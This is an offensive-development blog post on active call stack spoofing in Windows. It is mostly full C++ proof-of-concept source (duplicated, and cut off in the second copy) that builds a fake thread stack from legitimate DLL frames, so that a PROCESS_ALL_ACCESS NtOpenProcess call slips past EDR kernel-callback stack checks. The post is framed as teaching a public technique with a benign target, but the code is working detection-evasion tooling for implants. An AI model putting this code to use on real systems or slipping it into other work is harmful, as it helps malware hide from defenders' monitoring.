July 28, 2026
Active Call Stack Spoofing: Hiding Syscalls Behind Legitimate Frames
This post is the second part of a series on call stack manipulation. In the first part we covered the basic return address overwrite, where…

By S12 - 0x12Dark Development
14 min read
This post is the second part of a series on call stack manipulation. In the first part we covered the basic return address overwrite, where we set the return address to null inside a custom sleep to truncate the call stack and hide our shellcode frames from scanners
That approach had a clear problem: the stack ended abruptly without the tail that every legitimate Windows thread has at the bottom, BaseThreadInitThunk and RtlUserThreadStart. Any scanner that checks for that tail immediately knows the stack was manipulated
This post covers the next step: active call stack spoofing during a syscall. Instead of truncating the stack, we build a completely fake one from scratch that unwinds correctly and ends with a legitimate tail
This is almost entirely a reimplementation of the original research and PoC by WithSecureLabs: github.com/WithSecureLabs/CallStackSpoofer
The original authors deserve full credit. The goal here is to walk through the technique with a simpler target (Notepad instead of LSASS) and explain the mechanics step by step
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
0x12 Dark Development Skip to content Join our offensive development courses and modules, and explore the techniques database with 100+ real…
Introduction
Before getting into the technique, you need to understand two things: how the x64 stack walker works, and what .pdata is.
How the stack walker works
When a tool like System Informer shows you a call stack, it is not reading some log. It is doing a live walk of the thread's stack at that moment, frame by frame, from the current RSP upward
For each frame, it calls RtlVirtualUnwind. This function reads the .pdata section of the DLL that owns the current return address, finds the RUNTIME_FUNCTION entry for that function, and parses its UNWIND_INFO to know how much stack space that function used. It then adjusts RSP accordingly and moves to the next frame
This means the stack walk only shows you what is physically on the stack right now. If you put the right data on the stack before a syscall, the walker will show whatever chain of frames you want
What .pdata and UNWIND_INFO are
Every x64 DLL compiled with standard settings has a .pdata section. This section is a table of RUNTIME_FUNCTION structs, one per function, that describe how to unwind that function's stack frame
Each entry points to an UNWIND_INFO struct that contains a list of UNWIND_CODE entries describing what the function prologue did to the stack: how many registers it pushed, how much space it allocated, and so on
To build a fake frame for a function, you need to know exactly how much stack space that function uses. You get that by parsing its UNWIND_INFO yourself
Key structure:
struct StackFrame {
std::wstring targetDll; // DLL that contains the fake frame
ULONG offset; // RVA of the return address inside that DLL
ULONG totalStackSize; // calculated from UNWIND_INFO
BOOL requiresLoadLibrary; // whether we need to load the DLL manually
BOOL setsFramePointer; // whether the function uses UWOP_SET_FPREG
PVOID returnAddress; // resolved absolute address
BOOL pushRbp;
ULONG countOfCodes;
BOOL pushRbpIndex;
};struct StackFrame {
std::wstring targetDll; // DLL that contains the fake frame
ULONG offset; // RVA of the return address inside that DLL
ULONG totalStackSize; // calculated from UNWIND_INFO
BOOL requiresLoadLibrary; // whether we need to load the DLL manually
BOOL setsFramePointer; // whether the function uses UWOP_SET_FPREG
PVOID returnAddress; // resolved absolute address
BOOL pushRbp;
ULONG countOfCodes;
BOOL pushRbpIndex;
};Methodology
The key difference from the previous technique is the threat model.
The return address overwrite targeted sleep-time scanning: EDRs that walk sleeping threads looking for return addresses pointing to unbacked memory. It worked by hiding the stack while the implant was at rest.
This technique targets a different moment: the instant a sensitive syscall is made. Some EDRs register kernel callbacks via ObRegisterCallbacks that fire when a process handle is opened. At that moment they capture the call stack of the thread making the call. If that stack shows a return address in dynamically allocated memory without a backing DLL on disk, they alert
The approach here is to offload the syscall to a new thread that we fully control. Before that thread executes a single instruction, we replace its stack with a fake one built from real frames in real signed DLLs. When the kernel callback fires, it reads the fake stack and sees a chain of legitimate Windows frames
The steps are:
- Pick a target call stack: a list of DLLs and offsets that look like a real Windows process making a similar call
- For each frame, resolve the DLL base and calculate the return address as
base + offset - Parse the
UNWIND_INFOfor each function to know its stack size - Create a suspended thread
- Get its context and modify the stack manually, writing each fake frame at the correct position
- Set RIP to
NtOpenProcessand the argument registers to our target - Resume the thread
When the thread wakes up it is already inside NtOpenProcess with a fake stack behind it. After the syscall returns it will crash because the fake stack is not real executable code, but a VEH handler catches that
Implementation
Define the fake call stack
We define our fake frames as a vector of StackFrame structs. The offsets here are RVAs from the DLL base to the specific location inside the function we want to appear as a return address
These offsets must be valid on your Windows build
std::vector<StackFrame> myCallStack = {
StackFrame(L"C:\\Windows\\SYSTEM32\\KernelBase.dll", 0x229f3, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\kernel32.dll", 0x2e957, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0xaad6c, 0, FALSE),
};std::vector<StackFrame> myCallStack = {
StackFrame(L"C:\\Windows\\SYSTEM32\\KernelBase.dll", 0x229f3, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\kernel32.dll", 0x2e957, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0xaad6c, 0, FALSE),
};This gives us a tail of:
KernelBase!WaitForMultipleObjectsEx -> kernel32!BaseThreadInitThunk
-> ntdll!RtlUserThreadStartKernelBase!WaitForMultipleObjectsEx -> kernel32!BaseThreadInitThunk
-> ntdll!RtlUserThreadStartWhich is exactly what a normal Windows thread looks like.
Resolve DLL bases and return addresses
GetImageBase checks if the DLL is already loaded via GetModuleHandle. If not and requiresLoadLibrary is set, it calls LoadLibrary. The base is stored in a map so it is only resolved once per DLL
CalculateReturnAddress is then simply base + offset
Calculate stack size from UNWIND_INFO
This is the core of the technique. For each frame we call RtlLookupFunctionEntry with the return address to get the RUNTIME_FUNCTION for that function, then parse its UNWIND_INFO:
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + ImageBase);
while (index < pUnwindInfo->CountOfCodes) {
switch (pUnwindInfo->UnwindCode[index].UnwindOp) {
case UWOP_PUSH_NONVOL:
stackFrame.totalStackSize += 8;
break;
case UWOP_ALLOC_SMALL:
stackFrame.totalStackSize += ((operationInfo * 8) + 8);
break;
case UWOP_ALLOC_LARGE:
// read size from folowing slots
break;
case UWOP_SET_FPREG:
stackFrame.setsFramePointer = true;
break;
}
index++;
}
stackFrame.totalStackSize += 8; // return address itselfpUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + ImageBase);
while (index < pUnwindInfo->CountOfCodes) {
switch (pUnwindInfo->UnwindCode[index].UnwindOp) {
case UWOP_PUSH_NONVOL:
stackFrame.totalStackSize += 8;
break;
case UWOP_ALLOC_SMALL:
stackFrame.totalStackSize += ((operationInfo * 8) + 8);
break;
case UWOP_ALLOC_LARGE:
// read size from folowing slots
break;
case UWOP_SET_FPREG:
stackFrame.setsFramePointer = true;
break;
}
index++;
}
stackFrame.totalStackSize += 8; // return address itselfBuild the fake stack
InitialiseFakeThreadState iterates the call stack in reverse (bottom to top, same order they were called) and writes each frame onto the thread stack:
// First push a null to terminate unwinding
PushToStack(context, 0);
// Then for each frame (reversed):
context.Rsp -= stackFrame->totalStackSize;
PULONG64 fakeRetAddress = (PULONG64)(context.Rsp);
*fakeRetAddress = (ULONG64)stackFrame->returnAddress;// First push a null to terminate unwinding
PushToStack(context, 0);
// Then for each frame (reversed):
context.Rsp -= stackFrame->totalStackSize;
PULONG64 fakeRetAddress = (PULONG64)(context.Rsp);
*fakeRetAddress = (ULONG64)stackFrame->returnAddress;This creates a stack that looks exactly like the function was called from the frame above it. RtlVirtualUnwind will parse each frame's UNWIND_INFO, find the correct stack size, and advance to the next return address
Set up the thread context and resume
// Fake stack is already written into context.Rsp
// Now set up the syscall arguments
context.Rcx = (DWORD64)&hProcess; // PHANDLE
context.Rdx = PROCESS_ALL_ACCESS;
context.R8 = (DWORD64)&objectAttr;
context.R9 = (DWORD64)&clientId; // pid of Notepad
context.Rip = (DWORD64)GetProcAddress(GetModuleHandleA("ntdll"), "NtOpenProcess");
// Optional: hardware breakpoint to pause at syscall entry for inspection
context.Dr0 = context.Rip;
context.Dr7 = 0x1;
context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
SetThreadContext(hThread, &context);// Fake stack is already written into context.Rsp
// Now set up the syscall arguments
context.Rcx = (DWORD64)&hProcess; // PHANDLE
context.Rdx = PROCESS_ALL_ACCESS;
context.R8 = (DWORD64)&objectAttr;
context.R9 = (DWORD64)&clientId; // pid of Notepad
context.Rip = (DWORD64)GetProcAddress(GetModuleHandleA("ntdll"), "NtOpenProcess");
// Optional: hardware breakpoint to pause at syscall entry for inspection
context.Dr0 = context.Rip;
context.Dr7 = 0x1;
context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
SetThreadContext(hThread, &context);VEH handler
After NtOpenProcess returns, RIP will try to execute whatever is at the first fake return address. This will eventually crash. A VEH handler catches both the hardware breakpoint (for inspection) and the crash, then redirects the thread to RtlExitUserThread:
LONG CALLBACK VehCallback(PEXCEPTION_POINTERS ExceptionInfo) {
ULONG code = ExceptionInfo->ExceptionRecord->ExceptionCode;
if (code == EXCEPTION_SINGLE_STEP) {
// Pause here and inspect the stack in Process Hacker
getchar();
ExceptionInfo->ContextRecord->Dr0 = 0;
ExceptionInfo->ContextRecord->Dr7 = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
if (code == STATUS_ACCESS_VIOLATION || code == STATUS_STACK_BUFFER_OVERRUN) {
ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(
GetModuleHandleA("ntdll"), "RtlExitUserThread");
ExceptionInfo->ContextRecord->Rcx = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}LONG CALLBACK VehCallback(PEXCEPTION_POINTERS ExceptionInfo) {
ULONG code = ExceptionInfo->ExceptionRecord->ExceptionCode;
if (code == EXCEPTION_SINGLE_STEP) {
// Pause here and inspect the stack in Process Hacker
getchar();
ExceptionInfo->ContextRecord->Dr0 = 0;
ExceptionInfo->ContextRecord->Dr7 = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
if (code == STATUS_ACCESS_VIOLATION || code == STATUS_STACK_BUFFER_OVERRUN) {
ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(
GetModuleHandleA("ntdll"), "RtlExitUserThread");
ExceptionInfo->ContextRecord->Rcx = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}Full Code
#include <ehdata.h>
#include <iostream>
#include <winternl.h>
#include <Windows.h>
#include <vector>
#include <map>
#include <TlHelp32.h>
// github.com/WithSecureLabs/CallStackSpoofer/
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define MAX_STACK_SIZE 12000
#define RBP_OP_INFO 0x5
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
//typedef struct _CLIENT_ID {
// HANDLE UniqueProcess;
// HANDLE UniqueThread;
//} CLIENT_ID, * PCLIENT_ID;
//CLIENT_ID clientTest = {};
//typedef struct _OBJECT_ATTRIBUTES {
// ULONG Length;
// HANDLE RootDirectory;
// PUNICODE_STRING ObjectName;
// ULONG Attributes;
// PVOID SecurityDescriptor;
// PVOID SecurityQualityOfService;
//} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
//
using namespace std;
std::map<std::wstring, HMODULE> imageBaseMap;
struct StackFrame {
std::wstring targetDll;
ULONG offset;
ULONG totalStackSize;
BOOL requiresLoadLibrary;
BOOL setsFramePointer;
PVOID returnAddress;
BOOL pushRbp;
ULONG countOfCodes;
BOOL pushRbpIndex;
StackFrame(std::wstring dllPath, ULONG targetOffset, ULONG targetStackSize, bool bDllLoad) :
targetDll(dllPath),
offset(targetOffset),
totalStackSize(targetStackSize),
requiresLoadLibrary(bDllLoad),
setsFramePointer(false),
returnAddress(0),
pushRbp(false),
countOfCodes(0),
pushRbpIndex(0)
{
};
};
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0, /* info == register number */
UWOP_ALLOC_LARGE, /* no info, alloc size in next 2 slots */
UWOP_ALLOC_SMALL, /* info == size of allocation / 8 - 1 */
UWOP_SET_FPREG, /* no info, FP = RSP + UNWIND_INFO.FPRegOffset*16 */
UWOP_SAVE_NONVOL, /* info == register number, offset in next slot */
UWOP_SAVE_NONVOL_FAR, /* info == register number, offset in next 2 slots */
UWOP_SAVE_XMM128 = 8, /* info == XMM reg number, offset in next slot */
UWOP_SAVE_XMM128_FAR, /* info == XMM reg number, offset in next 2 slots */
UWOP_PUSH_MACHFRAME /* info == 0: no error-code, 1: error-code */
} UNWIND_CODE_OPS;
std::vector<StackFrame> myCallStack = {
StackFrame(L"C:\\Windows\\SYSTEM32\\KernelBase.dll", 0x229f3, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\kernel32.dll", 0x2e957, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0xaad6c, 0, FALSE),
};
NTSTATUS GetImageBase(const StackFrame& stackFrame){
NTSTATUS status = STATUS_SUCCESS;
HMODULE tmpImageBase = 0;
// [0] Check if image base has already been resolved.
if (imageBaseMap.count(stackFrame.targetDll))
{
return status;
}
// [1] Check if current frame contains a non standard dll and load if so
if (stackFrame.requiresLoadLibrary)
{
tmpImageBase = LoadLibrary(stackFrame.targetDll.c_str());
if (!tmpImageBase)
{
status = STATUS_DLL_NOT_FOUND;
return status;
}
}
// [2] If we haven't already recorded the image base capture it now
if (!tmpImageBase)
{
tmpImageBase = GetModuleHandle(stackFrame.targetDll.c_str());
if (!tmpImageBase)
{
status = STATUS_DLL_NOT_FOUND;
return status;
}
}
// [3] Add to image base map to avoid superfluous recalculating
imageBaseMap.insert({ stackFrame.targetDll, tmpImageBase });
return status;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
// Uses the offset within the StackFrame structure to calculate the return address for fake frame.
NTSTATUS CalculateReturnAddress(StackFrame& stackFrame){
NTSTATUS status = STATUS_SUCCESS;
try {
const PVOID targetImageBaseAddress = imageBaseMap.at(stackFrame.targetDll);
if (!targetImageBaseAddress) {
status = STATUS_DLL_NOT_FOUND;
return STATUS_SUCCESS;
}
stackFrame.returnAddress = (PCHAR)targetImageBaseAddress + stackFrame.offset;
return status;
}
catch (const std::out_of_range&){
std::wcout << L"Dll \"" << stackFrame.targetDll.c_str() << L"\" not found" << std::endl;
status = STATUS_DLL_NOT_FOUND;
return STATUS_SUCCESS;
}
}
//
// Calculates the total stack space used by the fake stack frame. Uses
// a minimal implementation of RtlVirtualUnwind to parse the unwind codes
// for target function and add up total stack size. Largely based on:
// https://github.com/hzqst/unicorn_pe/blob/master/unicorn_pe/except.cpp#L773
//
NTSTATUS CalculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 ImageBase, StackFrame& stackFrame){
NTSTATUS status = STATUS_SUCCESS;
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
// [0] Sanity check incoming pointer.
if (!pRuntimeFunction)
{
status = STATUS_INVALID_PARAMETER;
goto Cleanup;
}
// [1] Loop over unwind info.
// NB As this is a PoC, it does not handle every unwind operation, but
// rather the minimum set required to successfully mimic the default
// call stacks included.
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + ImageBase);
while (index < pUnwindInfo->CountOfCodes)
{
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
// [2] Loop over unwind codes and calculate
// total stack space used by target function.
switch (unwindOperation) {
case UWOP_PUSH_NONVOL:
// UWOP_PUSH_NONVOL is 8 bytes.
stackFrame.totalStackSize += 8;
// Record if it pushes rbp as
// this is important for UWOP_SET_FPREG.
if (RBP_OP_INFO == operationInfo)
{
stackFrame.pushRbp = true;
// Record when rbp is pushed to stack.
stackFrame.countOfCodes = pUnwindInfo->CountOfCodes;
stackFrame.pushRbpIndex = index + 1;
}
break;
case UWOP_SAVE_NONVOL:
//UWOP_SAVE_NONVOL doesn't contribute to stack size
// but you do need to increment index.
index += 1;
break;
case UWOP_ALLOC_SMALL:
//Alloc size is op info field * 8 + 8.
stackFrame.totalStackSize += ((operationInfo * 8) + 8);
break;
case UWOP_ALLOC_LARGE:
// Alloc large is either:
// 1) If op info == 0 then size of alloc / 8
// is in the next slot (i.e. index += 1).
// 2) If op info == 1 then size is in next
// two slots.
index += 1;
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
if (operationInfo == 0)
{
frameOffset *= 8;
}
else
{
index += 1;
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
}
stackFrame.totalStackSize += frameOffset;
break;
case UWOP_SET_FPREG:
// This sets rsp == rbp (mov rsp,rbp), so we need to ensure
// that rbp is the expected value (in the frame above) when
// it comes to spoof this frame in order to ensure the
// call stack is correctly unwound.
stackFrame.setsFramePointer = true;
break;
default:
std::cout << "[-] Error: Unsupported Unwind Op Code\n";
status = STATUS_ASSERTION_FAILURE;
break;
}
index += 1;
}
// If chained unwind information is present then we need to also recursively parse this and add to total stack size.
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO)){
index = pUnwindInfo->CountOfCodes;
if (0 != (index & 1))
{
index += 1;
}
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
return CalculateFunctionStackSize(pRuntimeFunction, ImageBase, stackFrame);
}
// Add the size of the return address (8 bytes)
stackFrame.totalStackSize += 8;
Cleanup:
return status;
}
NTSTATUS CalculateFunctionStackSizeWrapper(StackFrame& stackFrame){
NTSTATUS status = STATUS_SUCCESS;
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
// [0] Sanity check return address
if (!stackFrame.returnAddress)
{
status = STATUS_INVALID_PARAMETER;
return status;
}
// [1] Locate RUNTIME_FUNCTION for given function
pRuntimeFunction = RtlLookupFunctionEntry(
(DWORD64)stackFrame.returnAddress,
&ImageBase,
pHistoryTable);
if (NULL == pRuntimeFunction){
status = STATUS_ASSERTION_FAILURE;
return status;
}
// [2] Recursively calculate the total stack size for the function we are "returning" to
status = CalculateFunctionStackSize(pRuntimeFunction, ImageBase, stackFrame);
return status;
}
NTSTATUS InitialiseSpoofedCallstack(std::vector<StackFrame>& targetCallStack){
NTSTATUS status = STATUS_SUCCESS;
for (auto stackFrame = targetCallStack.begin(); stackFrame != targetCallStack.end(); stackFrame++)
{
// [1] Get image base for current stack frame.
status = GetImageBase(*stackFrame);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Error: Failed to get image base\n";
goto Cleanup;
}
// [2] Calculate ret address for current stack frame.
status = CalculateReturnAddress(*stackFrame);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Error: Failed to caluclate ret address\n";
goto Cleanup;
}
// [3] Calculate the total stack size for ret function.
status = CalculateFunctionStackSizeWrapper(*stackFrame);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Error: Failed to caluclate total stack size\n";
goto Cleanup;
}
}
Cleanup:
return status;
}
void PushToStack(CONTEXT& Context, const ULONG64 value){
Context.Rsp -= 0x8;
PULONG64 AddressToWrite = (PULONG64)(Context.Rsp);
*AddressToWrite = value;
}
//
// Initialises the spoofed thread state before it begins
// to execute by building a fake call stack via modifying
// rsp and appropriate stack data.
//
void InitialiseFakeThreadState(CONTEXT& context, const std::vector<StackFrame>& targetCallStack){
ULONG64 childSp = 0;
BOOL bPreviousFrameSetUWOP_SET_FPREG = false;
// [1] As an extra sanity check explicitly clear
// the last RET address to stop any further unwinding.
PushToStack(context, 0);
// [2] Loop through target call stack *backwards*
// and modify the stack so it resembles the fake
// call stack e.g. essentially making the top of
// the fake stack look like the diagram below:
// | |
// ----------------
// | RET ADDRESS |
// ----------------
// | |
// | Unwind |
// | Stack |
// | Size |
// | |
// ----------------
// | RET ADDRESS |
// ----------------
// | |
// | Unwind |
// | Stack |
// | Size |
// | |
// ----------------
// | RET ADDRESS |
// ---------------- <--- RSP when NtOpenProcess is called
//
for (auto stackFrame = targetCallStack.rbegin(); stackFrame != targetCallStack.rend(); ++stackFrame)
{
// [2.1] Check if the last frame set UWOP_SET_FPREG.
// If the previous frame uses the UWOP_SET_FPREG
// op, it will reset the stack pointer to rbp.
// Therefore, we need to find the next function in
// the chain which pushes rbp and make sure it writes
// the correct value to the stack so it is propagated
// to the frame after that needs it (otherwise stackwalk
// will fail). The required value is the childSP
// of the function that used UWOP_SET_FPREG (i.e. the
// value of RSP after it is done adjusting the stack and
// before it pushes its RET address).
if (bPreviousFrameSetUWOP_SET_FPREG && stackFrame->pushRbp)
{
// [2.2] Check when RBP was pushed to the stack in function
// prologue. UWOP_PUSH_NONVOls will always be last:
// "Because of the constraints on epilogs, UWOP_PUSH_NONVOL
// unwind codes must appear first in the prolog and
// correspondingly, last in the unwind code array."
// Hence, subtract the push rbp code index from the
// total count to work out when it is pushed onto stack.
// E.g. diff will be 1 below, so rsp -= 0x8 then write childSP:
// RPCRT4!LrpcIoComplete:
// 00007ffd`b342b480 4053 push rbx
// 00007ffd`b342b482 55 push rbp
// 00007ffd`b342b483 56 push rsi
// If diff == 0, rbp is pushed first etc.
auto diff = stackFrame->countOfCodes - stackFrame->pushRbpIndex;
auto tmpStackSizeCounter = 0;
for (ULONG i = 0; i < diff; i++)
{
// e.g. push rbx
PushToStack(context, 0x0);
tmpStackSizeCounter += 0x8;
}
// push rbp
PushToStack(context, childSp);
// [2.3] Minus off the remaining function stack size
// and continue unwinding.
context.Rsp -= (stackFrame->totalStackSize - (tmpStackSizeCounter + 0x8));
PULONG64 fakeRetAddress = (PULONG64)(context.Rsp);
*fakeRetAddress = (ULONG64)stackFrame->returnAddress;
// [2.4] From my testing it seems you only need to get rbp
// right for the next available frame in the chain which pushes it.
// Hence, there can be a frame in between which does not push rbp.
// Ergo set this to false once you have resolved rbp for frame
// which needed it. This is pretty flimsy though so this assumption
// may break for other more complicated examples.
bPreviousFrameSetUWOP_SET_FPREG = false;
}
else
{
// [3] If normal frame, decrement total stack size
// and write RET address.
context.Rsp -= stackFrame->totalStackSize;
PULONG64 fakeRetAddress = (PULONG64)(context.Rsp);
*fakeRetAddress = (ULONG64)stackFrame->returnAddress;
}
// [4] Check if the current function sets frame pointer
// when unwinding e.g. mov rsp,rbp / UWOP_SET_FPREG
// and record its childSP.
if (stackFrame->setsFramePointer)
{
childSp = context.Rsp;
childSp += 0x8;
bPreviousFrameSetUWOP_SET_FPREG = true;
}
}
}
DWORD DummyFunction(LPVOID lpParam){
return 0;
}
//
// Handles the inevitable crash of the fake thread and redirects
// it to gracefully exit via RtlExitUserThread.
//
LONG CALLBACK VehCallback(PEXCEPTION_POINTERS ExceptionInfo)
{
ULONG exceptionCode = ExceptionInfo->ExceptionRecord->ExceptionCode;
// [0] If unrelated to us, keep searching.
//if (exceptionCode != STATUS_ACCESS_VIOLATION) return EXCEPTION_CONTINUE_SEARCH;
// Breakpoint just to inspect the call stack
if (exceptionCode == EXCEPTION_SINGLE_STEP) // 0x80000004
{
std::cout << "[*] Thread hit NtOpenProcess, inspect stack.\n";
std::cout << "[*] Press enter to continue...\n";
getchar();
ExceptionInfo->ContextRecord->Dr0 = 0;
ExceptionInfo->ContextRecord->Dr7 = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
// [1] Handle access violation error by gracefully exiting thread.
if (exceptionCode == STATUS_ACCESS_VIOLATION || exceptionCode == STATUS_STACK_BUFFER_OVERRUN)
{
std::cout << "[+] VEH Exception Handler called \n";
std::cout << "[+] Re-directing spoofed thread to RtlExitUserThread \n";
ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(GetModuleHandleA("ntdll"), "RtlExitUserThread");
ExceptionInfo->ContextRecord->Rcx = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_EXECUTION;
}
int main() {
cout << "SB41/33\n";
std::vector<StackFrame>& targetCallStack = myCallStack;
NTSTATUS status = InitialiseSpoofedCallstack(targetCallStack);
if (!NT_SUCCESS(status)) {
std::cout << "[-] Failed to initialise fake call stack\n";
return -1;
}
// 1. Crear suspended thread (DummyFunction as start address)
DWORD dwThreadId;
HANDLE hThread = CreateThread(NULL, MAX_STACK_SIZE, DummyFunction, 0, CREATE_SUSPENDED, &dwThreadId);
if (!hThread) {
std::cout << "[-] Failed to create suspended thread\n";
return -1;
}
// 2. Get thread context
CONTEXT context = {};
context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
BOOL ret = GetThreadContext(hThread, &context);
if (!ret) {
std::cout << "[-] Failed to get thread context\n";
return -1;
}
// 3. Write fake stack! InitialiseFakeThreadState()
InitialiseFakeThreadState(context, targetCallStack);
// 4. Set RIP poiting to syscall
/*
__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(
[out] PHANDLE ProcessHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PCLIENT_ID ClientId
);
*/
int pidNotepad = getPIDbyProcName("Notepad.exe");
HANDLE hProcess = 0;
context.Rcx = (DWORD64)&hProcess;
context.Rdx = PROCESS_ALL_ACCESS;
OBJECT_ATTRIBUTES objectAttr;
InitializeObjectAttributes(&objectAttr, NULL, 0, NULL, NULL);
context.R8 = (DWORD64)&objectAttr;
CLIENT_ID clientId;
clientId.UniqueProcess = (HANDLE)pidNotepad;
clientId.UniqueThread = 0;
context.R9 = (DWORD64)&clientId;
// RIP
DWORD64 ntOpenProcessAddress = (DWORD64)GetProcAddress(GetModuleHandleA("ntdll"), "NtOpenProcess");
context.Rip = ntOpenProcessAddress;
context.Dr0 = ntOpenProcessAddress;
context.Dr7 = 0x1;
// 5. Set modifed context
ret = SetThreadContext(hThread, &context);
if (!ret){
std::cout << "[-] Failed to set thread context\n";
return -1;
}
// 6. Register VEH Handler to catch ACCESS VIOLATION error in return address
PVOID pHandler = NULL;
pHandler = AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)VehCallback);
if (!pHandler)
{
std::cout << "[-] Failed to add vectored exception handler\n";
return -1;
}
// 7. ResumeThread
std::cout << "[+] Resuming suspended thread...\n";
DWORD suspendCount = ResumeThread(hThread);
if (-1 == suspendCount)
{
std::cout << "[-] Failed to resume thread\n";
return -1;
}
cout << "GETCHAR" << endl;
getchar();
// Confirmation
if (!hProcess){
std::cout << "[-] Error: Failed to obtain handle to notepad\n";
return -1;
}
else{
std::cout << "[+] Successfully obtained handle to notepad with spoofed callstack: " << hProcess << "\n";
}
getchar();
return 0;
}#include <ehdata.h>
#include <iostream>
#include <winternl.h>
#include <Windows.h>
#include <vector>
#include <map>
#include <TlHelp32.h>
// github.com/WithSecureLabs/CallStackSpoofer/
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define MAX_STACK_SIZE 12000
#define RBP_OP_INFO 0x5
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
//typedef struct _CLIENT_ID {
// HANDLE UniqueProcess;
// HANDLE UniqueThread;
//} CLIENT_ID, * PCLIENT_ID;
//CLIENT_ID clientTest = {};
//typedef struct _OBJECT_ATTRIBUTES {
// ULONG Length;
// HANDLE RootDirectory;
// PUNICODE_STRING ObjectName;
// ULONG Attributes;
// PVOID SecurityDescriptor;
// PVOID SecurityQualityOfService;
//} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
//
using namespace std;
std::map<std::wstring, HMODULE> imageBaseMap;
struct StackFrame {
std::wstring targetDll;
ULONG offset;
ULONG totalStackSize;
BOOL requiresLoadLibrary;
BOOL setsFramePointer;
PVOID returnAddress;
BOOL pushRbp;
ULONG countOfCodes;
BOOL pushRbpIndex;
StackFrame(std::wstring dllPath, ULONG targetOffset, ULONG targetStackSize, bool bDllLoad) :
targetDll(dllPath),
offset(targetOffset),
totalStackSize(targetStackSize),
requiresLoadLibrary(bDllLoad),
setsFramePointer(false),
returnAddress(0),
pushRbp(false),
countOfCodes(0),
pushRbpIndex(0)
{
};
};
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0, /* info == register number */
UWOP_ALLOC_LARGE, /* no info, alloc size in next 2 slots */
UWOP_ALLOC_SMALL, /* info == size of allocation / 8 - 1 */
UWOP_SET_FPREG, /* no info, FP = RSP + UNWIND_INFO.FPRegOffset*16 */
UWOP_SAVE_NONVOL, /* info == register number, offset in next slot */
UWOP_SAVE_NONVOL_FAR, /* info == register number, offset in next 2 slots */
UWOP_SAVE_XMM128 = 8, /* info == XMM reg number, offset in next slot */
UWOP_SAVE_XMM128_FAR, /* info == XMM reg number, offset in next 2 slots */
